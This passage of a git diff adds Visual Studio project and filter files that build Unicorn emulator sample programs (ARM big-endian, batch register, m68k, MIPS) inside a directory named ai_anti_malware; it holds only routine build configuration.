<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_armeb.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj.filters new file mode 100644 index 0000000..bdd745e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_armeb.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj new file mode 100644 index 0000000..a68048b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{7AA02EDF-D797-494B-929C-F628F4E4EA62}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_batch_reg</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_batch_reg.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj.filters new file mode 100644 index 0000000..098f833 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_batch_reg/sample_batch_reg.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_batch_reg.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj new file mode 100644 index 0000000..26a2481 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_m68k.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{11727C54-463F-472A-88AF-6C3D6071BF0B}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_m68k</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj.filters new file mode 100644 index 0000000..033b3c0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_m68k/sample_m68k.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_m68k.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj new file mode 100644 index 0000000..32c1732 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_mips/sample_mips.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{E34ECD90-3977-4A4B-9641-4D7F1766E9FD}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_mips</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + 